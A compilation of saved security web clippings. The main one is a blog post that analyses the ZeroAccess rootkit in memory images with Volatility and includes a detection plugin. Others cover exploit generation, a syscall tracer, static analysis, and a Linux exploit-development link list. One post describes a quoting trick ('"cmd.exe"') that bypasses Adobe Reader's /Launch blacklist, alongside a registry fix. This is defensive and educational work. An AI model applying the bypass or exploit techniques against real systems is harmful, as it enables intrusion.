    $ python vol.py -f  zeroaccess1.vmem threads -F OrphanThread  
    Volatile Systems Volatility Framework 2.1_alpha  
    ------  
    ETHREAD: 0x81c6b4a0 Pid: 4 Tid: 908  
    Tags: OrphanThread,SystemThread  
    Created: 2011-10-13 14:26:18  
    Exited: -  
    Owning Process: 0x823c8830 'System'  
    Attached Process: 0x823c8830 'System'  
    State: Waiting:WrQueue  
    BasePriority: 0x8  
    Priority: 0x8  
    TEB: 0x00000000  
    StartAddress: 0xb20b6105  
    ServiceTable: 0x80552fa0  
    [0] 0x80501b8c  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM  
    b20b6105: 58                               POP EAX  
    b20b6106: 870424                           XCHG [ESP], EAX  
    b20b6109: ffd0                             CALL EAX  
    b20b610b: 8b0df8bb0bb2                     MOV ECX, [0xb20bbbf8]  
    b20b6111: ff2500920bb2                     JMP DWORD [0xb20b9200]  
    b20b6117: 64a118000000                     MOV EAX, [FS:0x18]
[/code]

As you can see, this thread's StartAddress is 0xb20b6105 - well within range
of the ZeroAccess driver. By using the callbacks plugin, you can also see
there's a suspicious IoRegisterShutdownNotification routine pointing at
approximately the same range in kernel memory.  

[code]

    $ python vol.py -f  zeroaccess1.vmem callbacks  
    Volatile Systems Volatility Framework 2.1_alpha  
    Type                                 Callback   Owner  
    PsSetCreateProcessNotifyRoutine      0xf87ad194 vmci.sys  
    KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)  
    KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)  
    KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)  
    KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)  
    KeRegisterBugCheckReasonCallback     0xf8b7aa28 mssmbios.sys (SMBiosDataACPI)  
    KeRegisterBugCheckReasonCallback     0xf82e01be USBPORT.SYS (USBPORT)  
    KeRegisterBugCheckReasonCallback     0xf82e011e USBPORT.SYS (USBPORT)  
    KeRegisterBugCheckReasonCallback     0xf82f7522 VIDEOPRT.SYS (Videoprt)  
    IoRegisterShutdownNotification       0xf88ddc74 Cdfs.SYS (\FileSystem\Cdfs)  
    IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)  
    IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\VgaSave)  
    IoRegisterShutdownNotification       0xb2d108fa vmhgfs.sys (\FileSystem\vmhgfs)  
    IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)  
    IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\mnmdd)  
    IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\vmx_svga)  
    IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\RDPCDD)  
    IoRegisterShutdownNotification       0xb20b49d0   
    IoRegisterShutdownNotification       0xf86aa73a MountMgr.sys (\Driver\MountMgr)  
    IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)
[/code]

Next we'll try and locate ZeroAccess in user mode based on Frank's findings.
At first I didn't understand what "Fake Usermode ADS" meant, but when I used
the pslist and dlllist commands it all started to make sense. The image name
from pslist comes from EPROCESS.ImageFileName \(in kernel memory\) and the
info from dlllist comes from the PEB \(in user memory\). In normal cases,
output from the two plugins will match, but in this case you can see the
discrepancy:  

[code]

    $ python vol.py -f zeroaccess1.vmem pslist  
    Volatile Systems Volatility Framework 2.1_alpha  
    Offset(V)  Name                 PID    PPID   Thds   Hnds   Time  
    ---------- -------------------- ------ ------ ------ ------ -------------------  
    0x823c8830 System                    4      0     57    398 1970-01-01 00:00:00  
    0x820df020 smss.exe                376      4      3     19 2010-10-29 17:08:53  
    0x821a2da0 csrss.exe               600    376     11    342 2010-10-29 17:08:54  
    [snip]  
    0x820d4b28 3418651033             1148    668      1      5 2011-10-13 14:26:18    
    0x81c6ada0 cmd.exe                1244   1664      0 ------ 2011-10-13 14:37:07  
      
    $ python vol.py -f  zeroaccess1.vmem dlllist -p 1148  
    Volatile Systems Volatility Framework 2.1_alpha  
    ************************************************************************  
    3418651033 pid:   1148  
    Command line : 3418651033:1720073012.exe  
    Service Pack 3  
      
    Base         Size         Path  
    0x00400000   0x000330     C:\WINDOWS\3418651033:1720073012.exe  
    0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll  
    0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll
[/code]

Kernel memory says the image name is 3418651033 but user memory says its
3418651033:1720073012.exe. Either way, you can dump it with procexedump.  

[code]

    $ python vol.py -f  zeroaccess1.vmem procexedump -p 1148 -D zeroaccess/  
    Volatile Systems Volatility Framework 2.1_alpha  
    ************************************************************************  
    Dumping 3418651033, pid:   1148 output: executable.1148.exe  
      
    $ strings zeroaccess/executable.1148.exe  
    !This program cannot be run in DOS mode.  
    Rich  
    .text  
    PPPTh  
    ZwCreateFile  
    ZwTestAlert  
    ntdll.dll  
    ExitProcess  
    KERNEL32.dll
[/code]

If you recall the embedded PE strings we viewed from the extracted kernel
driver, you'll recognize that this is one of them. One down, one to go. How
can we locate the other one - with our only bit of knowledge being that we
expect it to be somewhere in user mode memory? How about malfind?  

[code]

    $ python vol.py -f zeroaccess1.vmem malfind -D zeroaccess/  
    Process: services.exe Pid 668  
    VAD: 0x950000-0x954fff Vad  PAGE_EXECUTE_READWRITE  
    0x00950000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............  
    0x00950010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......  
    0x00950020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
    0x00950030  00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00   ................  
    0x00950040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68   ........!..L.!Th  
    0x00950050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f   is.program.canno  
    0x00950060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20   t.be.run.in.DOS.  
    0x00950070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00   mode....$.......  
    Dumped to services.exe.82073020.950000.954fff.dmp  
      
    $ strings zeroaccess/services.exe.82073020.950000.954fff.dmp  
    !This program cannot be run in DOS mode.  
    Rich  
    .text  
    `.rdata  
    @.data  
      
    ZwCreateFile  
    ZwTestAlert  
    ntdll.dll  
    ExitProcess  
    KERNEL32.dll  
    1234567890123456789012345678901234567890123456789012345678901234  
    RtlImageDirectoryEntryToData  
    RtlAddressInSectionTable  
    RtlImageNtHeader  
    ZwOpenFile
[/code]

Bingo\! There's the other embedded PE that the kernel driver must inject into
services.exe.  
  
Building a Custom ZeroAccess Volatility Plugin  
  
I'm sure many readers are wondering, how hard is it to automate the actions
that we've done. Well, you're in luck...its not too difficult at all. In fact,
I've written a sample plugin to assist with your understanding of the
Volatility API. Let's get started. First define a class with the name of your
plugin. Mine will be "ZeroAccess" and it will inherit from DriverScan \(since
we want to scan for DRIVER\_OBJECTs\) and ProcExeDump \(since we want to
rebuild/dump PE files\).  

[code]

    class ZeroAccess(filescan.DriverScan, procdump.ProcExeDump):  
     """Dump the ZeroAccess Driver and Files"""  
      
     def __init__(self, config, *args):  
         # remove all of procdump's options except DUMP_DIR  
         procdump.ProcExeDump.__init__(self, config, *args)  
         config.remove_option("UNSAFE")  
         config.remove_option("PID")  
         config.remove_option("OFFSET")
[/code]

Then we add a function to the class that can handle the rebuilding of PE files
- most of which was taken from the dlldump source code.  

[code]

        def dump_pe(self, space, start, file_name):  
         """Dump a PE file to disk"""  
      
         if not self._config.DUMP_DIR:  
             return  
      
         full_path = os.path.join(self._config.DUMP_DIR, file_name)  
         sys.stdout.write("Dumping PE:    {0}\n".format(full_path))  
         of = open(full_path, 'wb')  
      
         try:  
             for chunk in self.get_image(sys.stdout, space, start):  
                 offset, code = chunk  
                 of.seek(offset)  
                 of.write(code)  
         except ValueError:  
             pass  
      
         of.close()
[/code]

Most of the heavy lifting will be done in the calculate function. I won't
describe each step individually like I did in the Abstract Memory Analysis:
Zeus Encryption Keys post, because its already pretty well commented and we
described all the steps above.  

[code]

        def calculate(self):  
      
         space = utils.load_as(self._config)  
      
         # enumerate system threads (0x00000010 = PS_CROSS_THREAD_FLAGS_SYSTEM)  
         system_threads = [t for t in modscan.ThrdScan(self._config).calculate() if t.CrossThreadFlags & 0x00000010]  
      
         # find and dump the malicious kernel driver  
         for item in filescan.DriverScan(self._config).calculate():  
        
             # unpack the parameters  
             (object, driver, extension, object_name) = item  
            
             # looking for unnamed driver objects  
             if driver.DriverName.Length != 0:  
                 continue  
      
             # the first and only device should be ACPI#PNP[...]  
             device = obj.Object("_DEVICE_OBJECT",  
                 offset = driver.DeviceObject, vm = space)  
      
             # get the device's object header  
             object = obj.Object("_OBJECT_HEADER", \  
                 offset = device.obj_offset - \  
                 device.obj_vm.profile.get_obj_offset("_OBJECT_HEADER", "Body"), \  
                 vm = space)  
      
             object.kas = space  
             device_name = object.get_object_name()  
      
             # did we find zeroaccess?  
             if not str(device_name).startswith("ACPI#PNP"):  
                 continue  
      
             sys.stdout.write("DriverObject:  {0:#x}\n".format(device.DriverObject))  
             sys.stdout.write("  DriverStart: {0:#x}\n".format(driver.DriverStart))  
             sys.stdout.write("  DriverSize:  {0:#x}\n".format(driver.DriverSize))  
             sys.stdout.write("DeviceObject:  {0:#x} {1}\n".format(device.obj_offset, device_name))  
      
             # dump the driver  
             file_name = "Driver.{0:#x}.sys".format(driver.DriverStart)  
             self.dump_pe(space, driver.DriverStart, file_name)  
      
             # now what we know the memory range, look for bad threads  
             for thread in system_threads:  
      
                 if thread.StartAddress > driver.DriverStart and \  
                         thread.StartAddress < driver.DriverStart + driver.DriverSize:  
      
                     sys.stdout.write("Bad Thread:    {0:#x} Tid {1}\n".format(\  
                         thread.obj_offset,  
                         thread.Cid.UniqueThread))  
      
         # now find and dump the fake usermode ADS process  
         for proc in tasks.pslist(space):  
      
             for dll in proc.Peb.Ldr.InLoadOrderModuleList.list_of_type(\  
                 "_LDR_DATA_TABLE_ENTRY", "InLoadOrderLinks"):  
      
                 # look for the ADS name  
                 if str(dll.BaseDllName).find(":") != -1:  
      
                     sys.stdout.write("Fake ADS EXE:  {0} pid {1} base {2:#x}\n".format(\  
                         proc.ImageFileName,  
                         proc.UniqueProcessId,  
                         dll.DllBase))  
      
                     file_name = "Dll.{0:#x}.{1:#x}.dll".format(proc.obj_offset, dll.DllBase)  
                     self.dump_pe(proc.get_process_address_space(), dll.DllBase, file_name)
[/code]

Testing the ZeroAccess Volatility Plugin  
  
Here is some example output from our new plugin:  

[code]

    $ python vol.py -f  zeroaccess1.vmem zeroaccess -D zeroaccess/  
    Volatile Systems Volatility Framework 2.1_alpha  
    DriverObject:  0x820e3880  
    DriverStart: 0xb20ae000  
    DriverSize:  0x1f000  
    DeviceObject:  0x81f3ee48 ACPI#PNP0303#2&da1a3ff&0  
    Dumping PE:    zeroaccess/Driver.0xb20ae000.sys  
    Bad Thread:    0x1e6b4a0 Tid 908  
    Fake ADS EXE:  3418651033 pid 1148 base 0x400000  
    Dumping PE:    zeroaccess/Dll.0x820d4b28.0x400000.dll  
      
    $ ls zeroaccess/  
    Dll.0x820d4b28.0x400000.dll    Driver.0xb20ae000.sys
[/code]

That's it folks\! In just a small Python script, we identified the malicious
DRIVER\_OBJECT, the malicious DEVICE\_OBJECT, the Fake Usermode ADS, the
"stealth" ETHREAD, and extracted a few of the PE files. Now grab IDA Pro and
enjoy reversing the unpacked binaries.  
  
The Second Sample: 505b071b3eead7ded32a766c98efb6ef  
  
Realizing that there are thousands of ZeroAccess variants floating around, I
wanted to try and duplicate the findings on at least one other sample. Here's
the output of our new plugin on the next sample we tried:  

[code]

    $ python vol.py -f  zeroaccess2.vmem zeroaccess -D zeroaccess/  
    Volatile Systems Volatility Framework 2.1_alpha  
    DriverObject:  0x81f523f0  
    DriverStart: 0xb2158000  
    DriverSize:  0xd000  
    DeviceObject:  0x81fc2370 ACPI#PNP0303#2&da1a3ff&0  
    Dumping PE:    zeroaccess/Driver.0xb2158000.sys
[/code]

As you can see, a few of the artifacts were found and extracted, but not all
of them. It turns out this sample is quite different than the first. For one,
it doesn't use the Fake Usermode ADS. Instead, you can spot the malicious
process because its mapped from a suspicious namespace:  

[code]

    $ python vol.py -f zeroaccess2.vmem dlllist -p 1136  
    ************************************************************************  
    svchost.exe pid:   1136  
    Command line : "\\.\globalroot\Device\svchost.exe\svchost.exe"  
    Service Pack 3  
      
    Base         Size         Path  
    0x00400000   0x0002d0     \\.\globalroot\Device\svchost.exe\svchost.exe  
    0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll  
    0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll
[/code]

What is \\\\.\globalroot\Device\svchost.exe? Surely that device doesn't exist
on a clean system. Let's check with devicetree again and see if anything looks
different than the first ZeroAccess sample:  

[code]

    $ python vol.py -f zeroaccess2.vmem devicetree  
    DRV 0x01e109b8 '\\Driver\\03621276'  
    ---| DEV 0x820ec030 svchost.exe FILE_DEVICE_DISK  
    DRV 0x01df6718 '\\Driver\\kmixer'  
    ---| DEV 0x825347d0 (unnamed) FILE_DEVICE_KS  
    DRV 0x0214f4c8 '\\Driver\\03621275'  
    ---| DEV 0x81fe8030 (unnamed) FILE_DEVICE_ACPI  
    DRV 0x021523f0  
    ---| DEV 0x81fc2370 ACPI#PNP0303#2&da1a3ff&0 FILE_DEVICE_UNKNOWN
[/code]

I've highlighted almost all of the output in red, because...well, almost all
if it is malicious. This variant of ZeroAccess creates 3 DRIVER\_OBJECTs and 3
DEVICE\_OBJECTs. The patterns can be expressed as the following:  
  
1\) a DRIVER\_OBJECT with all numbers in the name \(03621276\) with a
DEVICE\_OBJECT named svchost.exe and type FILE\_DEVICE\_DISK  
  
2\) a DRIVER\_OBJECT with all numbers in the name \(03621275\) with an unnamed
DEVICE\_OBJECT and type FILE\_DEVICE\_ACPI  
  
3\) an unnamed DRIVER\_OBJECT with DEVICE\_OBJECT named ACPI\#PNP\[...\]
\(this is the one we already explored\)  
  
Modifying our new plugin to handle these additional cases is trivial, thus
I'll leave it as an exercise to the reader. However, the one thing you may run
into is that the DriverStart and DriverSize for the first two DRIVER\_OBJECTs
has been zeroed out:  

[code]

    $ python vol.py -f zeroaccess2.vmem volshell  
    Volatile Systems Volatility Framework 2.1_alpha  
    Current context: process System, pid=4, ppid=0 DTB=0x319000  
    To get help, type 'hh()'  
      
    In [1]: dt("_DEVICE_OBJECT", 0x820ec030)  
    [CType _DEVICE_OBJECT] @ 0x820EC030  
    0x0   : Type                           3  
    0x2   : Size                           184  
    0x4   : ReferenceCount                 2  
    0x8   : DriverObject                   2176911800  
      
    In [2]: dt("_DRIVER_OBJECT", 2176911800)  
    [CType _DRIVER_OBJECT] @ 0x81C109B8  
    0x0   : Type                           4  
    0x2   : Size                           168  
    0x4   : DeviceObject                   2182004784  
    0x8   : Flags                          4  
    0xc   : DriverStart                    0  
    0x10  : DriverSize                     0  
    0x14  : DriverSection                  0  
    0x18  : DriverExtension                2176911968  
    0x1c  : DriverName                     \Driver\03621276  
    0x24  : HardwareDatabase               0  
    0x28  : FastIoDispatch                 0  
    0x2c  : DriverInit                     2176398992  
      
    In [3]: hex(2176398992)  
    Out[3]: '0x81b93690'
[/code]

So although the DriverStart and DriverSize members are zero, making it
difficult to dump the driver's code, we can still get a hint of where the code
exists because the DriverInit value is not zero. We're looking around kernel
addresses 0x81b93690. Cross reference that with orphan threads:  

[code]

    $ python vol.py -f  zeroaccess2.vmem threads -F OrphanThread  
    Volatile Systems Volatility Framework 2.1_alpha  
    ------  
    ETHREAD: 0x81fa4bc8 Pid: 4 Tid: 416  
    Tags: OrphanThread,SystemThread  
    Created: 2011-10-13 04:29:10  
    Exited: -  
    Owning Process: 0x823c8830 'System'  
    Attached Process: 0x823c8830 'System'  
    State: Waiting:DelayExecution  
    BasePriority: 0x8  
    Priority: 0x8  
    TEB: 0x00000000  
    StartAddress: 0x81b9a505  
    ServiceTable: 0x80552fa0  
    [0] 0x80501b8c  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM  
    81b9a505: 58                               POP EAX  
    81b9a506: 870424                           XCHG [ESP], EAX  
    81b9a509: ffd0                             CALL EAX  
    81b9a50b: 8b0d8cf7b981                     MOV ECX, [0x81b9f78c]  
    81b9a511: ff25a4cdb981                     JMP DWORD [0x81b9cda4]  
    81b9a517: 64a118000000                     MOV EAX, [FS:0x18]
[/code]

The last thing I wanted to point out is the callbacks output. This version of
ZeroAccess not only installs the IoRegisterShutdownNotification, but also a
CmRegisterCallback - for monitoring or preventing access to certain registry
keys.  

[code]

    $ python vol.py -f  zeroaccess2.vmem callbacks  
    Volatile Systems Volatility Framework 2.1_alpha  
    Type                                 Callback   Owner  
    PsSetCreateProcessNotifyRoutine      0xf87ad194 vmci.sys  
    KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)  
    KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)  
    KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)  
    KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)  
    IoRegisterShutdownNotification       0x81b934e0 UNKNOWN (\Driver\03621276)  
    [snip]  
    IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)  
    IoRegisterShutdownNotification       0xf853c2be ftdisk.sys (\Driver\Ftdisk)  
    IoRegisterShutdownNotification       0x805cdef4 ntoskrnl.exe (\FileSystem\RAW)  
    IoRegisterShutdownNotification       0xf83d98f1 Mup.sys (\FileSystem\Mup)  
    IoRegisterShutdownNotification       0x805f5d66 ntoskrnl.exe (\Driver\WMIxWDM)  
    CmRegisterCallback                   0x81b92d60 UNKNOWN (--)
[/code]

ZeroAccess Rogue Kernel Timers  
  
In early January 2011, when Frank Boldewin and I were working on finding
artifacts of Rustock.B and Rustuck.C in memory, he suggested that a plugin for
analyzing kernel timers be added to Volatility. I drafted up a copy and then
forgot about it until he reminded me this week, and guess what - just in time
to be useful. I will go into depth on kernel timers next Volatility Friday,
but for now you can see yet another strong factor in memory that indicates
something suspicious is going on.  

[code]

    $ python vol.py -f zeroaccess2.vmem timers  
    Volatile Systems Volatility Framework 2.1_alpha  
    Offset       DueTime              Period(ms) Signaled   Routine      Module  
    0x805598e0   0x00000084:0xce8b961c 1000       Yes        0x80523dee   ntoskrnl.exe  
    0x820a1e08   0x00000084:0xdf3c0c1c 30000      Yes        0xb2d2a385   afd.sys  
    0x81ebf0b8   0x00000084:0xce951f84 0          -          0xf89c23f0   TDI.SYS  
    0x8055b200   0x00000086:0x1c631c38 0          -          0x80534a2a   ntoskrnl.exe  
    0xf842f270   0x00000084:0xd0fea092 0          -          0xf84111b4   Ntfs.sys  
    0xb27f3990   0x00000084:0xd36a83fa 0          -          0xb27e4385   srv.sys  
    0x805516d0   0x00000084:0xda9d7dbc 60000      Yes        0x804f3eae   ntoskrnl.exe  
    0x80550ce0   0x00000084:0xd11d9f24 0          -          0x8053b8fc   ntoskrnl.exe  
    0x80551800   0x00000084:0xcebda77e 1000       Yes        0x804f3716   ntoskrnl.exe  
    0x82255720   0x80000084:0xb14adbda 0          -          0x80534e48   ntoskrnl.exe  
    [snip]  
    0x81dbeb78   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys  
    0x81e8b4f0   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys  
    0x81eb8e28   0x00000084:0xe5855f6a 0          -          0x80534e48   ntoskrnl.exe  
    0xb20bbbb0   0x00000084:0xd4de72d2 60000      Yes        0xb20b5990   UNKNOWN  
    0x8210d910   0x80000000:0x0a7efa36 0          -          0x80534e48   ntoskrnl.exe  
    0x82274190   0x80000000:0x711befba 0          -          0x80534e48   ntoskrnl.exe  
    0x81de9690   0x80000000:0x0d0c3e8a 0          -          0x80534e48   ntoskrnl.exe
[/code]

Conclusion and Source Code  
  
Thanks again to Frank, Guiseppe, and Marco for sharing the results of their
analysis and ultimately making this blog post possible \(without doing my own
RE\).  
  
Download the ZeroAccess Volatility Plugin here. Play with it, learn from it,
enoy it\!

# Automatic Exploit Generation | David Cerezo Sánchez
**Created:**| _2/25/2011 9:39:55 AM_  
---|---  
**Updated:**| _2/25/2011 9:40:01 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Automatic Exploit Generation

_by DCEREZO on 16/02/2011 · 1 COMMENT · in COMPUTER SECURITY_

_The automatic exploit generation challenge is given a program, automatically
find vulnerabilities and generate exploits for them. In this paper we present
AEG, the first end-to-end system for fully automatic exploit generation. We
used AEG to analyze 14 open-source projects and successfully generated 16
control flow hijacking exploits. Two of the generated exploits \(expect-5.43
and htget-0.93\) are zero-day exploits against unknown vulnerabilities. Our
contributions are: 1\) we show how exploit generation for control flow hijack
attacks can be modeled as a formal verification problem, 2\) we propose
preconditioned symbolic execution, a novel technique for targeting symbolic
execution, 3\) we present a general approach for generating working exploits
once a bug is found, and 4\)**we build the first end-to-end system that
automatically finds vulnerabilities and generates exploits that produce a
shell**._

The first step to automatically search for and exploit the most basic
vulnerabilities is done, and incremental improvements will surely follow.
While this won’t have a deep impact on the computer security industry, since
it’s already full of people exploiting software for free, it will surely have
a real impact on the programming world: **right now, all coders not acquainted
with secure code-writing skills should be fired**. For more information, visit
the following link: Automatic Exploit Generation.

# wusstrace - Project Hosting on Google Code

**Created:**| _6/20/2010 10:27:42 PM_  
---|---  
**Updated:**| _6/20/2010 10:28:05 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit reversing API hooking windows environment
windbg_  
  
wusstrace _A user-space syscall tracer for Microsoft Windows_|  
---|---  
Project Home|  | Downloads|  | Wiki|  | Issues|  | Source|  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
**Activity:** <img src='img/Temp2_10741.gif' /> Medium  
---  
**Code license:**  
GNU General Public License v3  
**Labels:**  
systemcalltracing, malware, strace,reverseengineering  
**Feeds:**  
Project feeds  
---  
**Owners:**  
roberto.paleari, martignlo  
---  
People details »  
WUSSTrace is a user-space syscall tracer for Microsoft Windows developed for
fine grained syscall tracing: it supports the majority of Windows system calls
\(except GUI system calls\), the majority of argument types, and dumps
faithfully all the supported types. WUSSTrace produces easy-to-parse XML
traces leveraging the Boost serialization library. Tracing is performed by
injecting a shared library in the address space of the traced process and by
hooking the stubs `KiFastSystemCall` and `KiIntSystemCall` in ntdll.dll.

# Building Real Software: Static Analysis isn’t Development Testing

**Created:**| _1/9/2012 3:08:05 PM_  
---|---  
**Updated:**| _1/9/2012 3:08:05 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

### Static Analysis isn’t Development Testing

I constantly get emails from Static Analysis vendors telling me why I need to
buy their technology. Recently I’ve been receiving emails explaining how my
team can use static analysis tools to do impressive things like “test millions
of complex lines of codes \[sic\] in minutes”.  
  
Hold on now, pardner. Running static analysis tools against your code to
enforce good coding practices and check for common coding mistakes and
violations of security coding rules is a darn good idea. But this isn’t
testing, and it’s not a substitute for testing.  
  
Static Analysis tools like Coverity, Klocwork Insight or Klocwork Solo for
Java Developers,Findbugs,HP Fortify,IBM’s Software Analyzer, Microsoft’s FXCop
and Veracode’s on-demand static analysis checking are a step up from what
compilers and IDEs check for you \(although IDEs like IntelliJ IDEA include a
good set of built-in static analysis code checkers\). These tools should be
part of your development and continuous integration environment.  
  
They are fast and efficient at finding common coding mistakes and
inconsistencies in large code bases. The kinds of mistakes that are easy to
miss and hard to test for, and that are usually easy to fix. This makes code
reviews more efficient and effective, because it lets reviewers focus on
higher-level problems rather than low-level correctness. And they can identify
areas in the code that need to be refactored and simplified, and areas of the
code that may need more testing or deeper review – especially if the tool
finds problems in code that is already “working”.  
  

### But static analysis isn’t the same as, or as good as, testing

  
Static analysis tools can’t test the code to validate that it does what it is
supposed to do. That the features that the customer requested are all there
and that the business logic is correct \(unit testing and functional testing
and acceptance testing\). They can’t check that the interfaces of a module and
its behavior is correct \(component-level testing\), or that the larger pieces
of the system work correctly together and with other systems \(system testing
and integration testing\). Or that the system will hold up under load
\(performance and stress testing and soak testing\), or whether it is
vulnerable to security attacks \(pen testing\), or that it people can actually
understand how to use it \(usability testing\). Static analysis tools, even
the best ones, are limited to finding “a narrow band of code-related defects”.  
  
I appreciate that static analysis tool vendors want to find new ways to sell
their solutions. Maybe this is why Coverity is now calling its static analysis
toolset the “Industry’s First Development Testing Platform”. Their message
seems to be that developers don’t test their code and won’t fix bugs found by
testers “because of organizational silos and conflicting priorities”. So
static analysis has to fill this perceived gap.  
  
By improving integration with development tools like Eclipse and Visual Studio
and making the static analysis checks run faster, Coverity has made it easier
for developers to find and fix more coding bugs earlier – that’s good. But
better packaging and workflow and faster performance doesn’t change what the
tool actually does.  
  

### Development Testing or Developer Testing

  
Running a static analysis tool isn’t “Development Testing”. Development
Testing or Developer Testing is what developers do to test their own code to
see if it works: walking through their code in a debugger as it executes and
making sure that it does what they expect, profiling it to make sure that
performance doesn’t suck, writing automated unit tests and component tests to
make sure that the code does what it is actually supposed to do.  
  
Confusing static analysis tools with other automated testing tools is a bad
idea. It misrepresents what static analysis tools can do. It could lead people
to believe that static analysis is a substitute for testing. Bill Pugh, an
expert in static analysis and the father of FindBugs, makes it clear that
while static analysis tools definitely work, “testing is far more valuable
than static analysis” at finding bugs. And security experts like Jeremiah
Grossman at White Hat Security debunk the idea that static analysis is enough
to check for security bugs or other kinds of bugs in a system.  
  
Static analysis tools are getting better and easier to use, they’re getting
faster and more accurate and they throw off less false positives than they did
even a couple of years ago. Everyone should use them if they can find a tool
that works well for them and that they can afford. If you’re in a Java shop
for example, there’s no excuse not to be using Findbugs at least – it’s free
and it works. My team uses multiple different static analysis tools at
different stages of development and continuous integration, because different
tools find different kinds of problems, and some tools take longer to run.
These tools find real bugs and coding problems. But there’s too much hype in
this market. In the land of software testing, static analysis tools don’t
“reign king”.

# Quickpost: Preventing the /Launch Action “cmd.exe” Bypass « Didier Stevens

**Created:**| _7/9/2010 12:11:41 PM_  
---|---  
**Updated:**| _7/9/2010 12:11:41 PM_  
**Author:**| _wishi_  
**Tags:**| _attacks Examples Malware-analysis_  
  

# Didier Stevens

## Sunday 4 July 2010

### Quickpost: Preventing the /Launch Action “cmd.exe” Bypass

Filed under: PDF,Quickpost — Didier Stevens @ 21:20  

Adobe has released a new Adobe Reader version that contains functionality to
block my /Launch action PoC, but Bkis found a bypass: just put double quotes
around cmd.exe, like this:  “cmd.exe”.

<img src='img/20100704-224412.png?w=478&h=269' width='478' height='269' />

I did some research and discovered that Adobe implemented a blacklist of
extensions for the launch action, but that the blacklisting functionality
identifies the file type of “cmd.exe” as .exe”, and not .exe

Adobe is aware of the issue, and will evaluate the need to fix the
blacklisting functionality.

But meanwhile, you can apply my fix to block launching “cmd.exe”.

You can configure the blacklist of extensions via the registry. Go to
HKLM\SOFTWARE\Policies\Adobe\_product_ \_version_
\FeatureLockDown\cDefaultLaunchAttachmentPerms and open registry value
tBuiltInPermList.

<img src='img/20100704-224329.png?w=544&h=285' width='544' height='285' />

This is a list of |-separated extensions, together with the action Adobe
Reader should take \(3 means block the extension\). Add .exe”:3 to block
“cmd.exe”:

<img src='img/20100704-224524.png?w=400&h=185' width='400' height='185' />

With this addition, Bkis’ bypass will not work anymore:

<img src='img/29-06-2010-20-27-37.png?w=478&h=223' width='478' height='223' />

Some further testing shows that adding 2 double quotes is also a way to bypass
the blacklist: “”cmd.exe”":

<img src='img/20100704-224912.png?w=478&h=269' width='478' height='269' />

So we need to block this too:

<img src='img/20100704-225019.png?w=400&h=185' width='400' height='185' />

<img src='img/20100704-225040.png?w=478&h=223' width='478' height='223' />

I tested 3 and 4 quotes too, but this is not accepted by Adobe Reader. But
should there still be other valid characters to append to the extension, you
can block them in the same way as I showed here, until Adobe fixes the
blacklist functionality.

* * *
Quickpost info

* * *
* * *
**Possibly related posts: \(automatically generated\)**

  * Escape From PDF
  * Launch PDF Action Mega Abuse.
  * Your Next Malware In The Form Of A PDF File?
  * Design 26 – Flash Animated Banner using Action Script

# raminfp/linux\_exploit\_development

**Created:**| _10/21/2018 8:26:53 AM_  
---|---  
**Updated:**| _10/21/2018 8:26:53 AM_  
**Author:**| __  
**Tags:**| __  
  

# linux exploit development techniques \(user-space\)

## Specifically, students learning will :

[code]

    Learn about the process of vulnerability discovery.
[/code]

> > https://github.com/raminfp/Address-Sanitizer-C-Language
[code]

    Learn how to develop x86 assembly and shellcode. 
[/code]

> >
> https://github.com/raminfp/linux\_exploit\_development/tree/master/shellcode  
>  https://github.com/raminfp/shellcode
[code]

    Learn how the stack works on the x86 architecture. 
[/code]

> > https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-
> on-x86/
[code]

    Learn heap hacking in linux
[/code]

> >
> https://github.com/raminfp/linux\_exploit\_development/tree/master/heap\_hacking
[code]

    Learn how to debug ELF format with GDB debugger and Reverse Enginnering.
[/code]

> > https://github.com/raminfp/Reverse\_Engineering\_For\_Beginners
[code]

    Exploit stack buffer overflows on Linux.
[/code]

> >
> https://github.com/raminfp/linux\_exploit\_development/tree/master/func\_call\_shellcode  
>
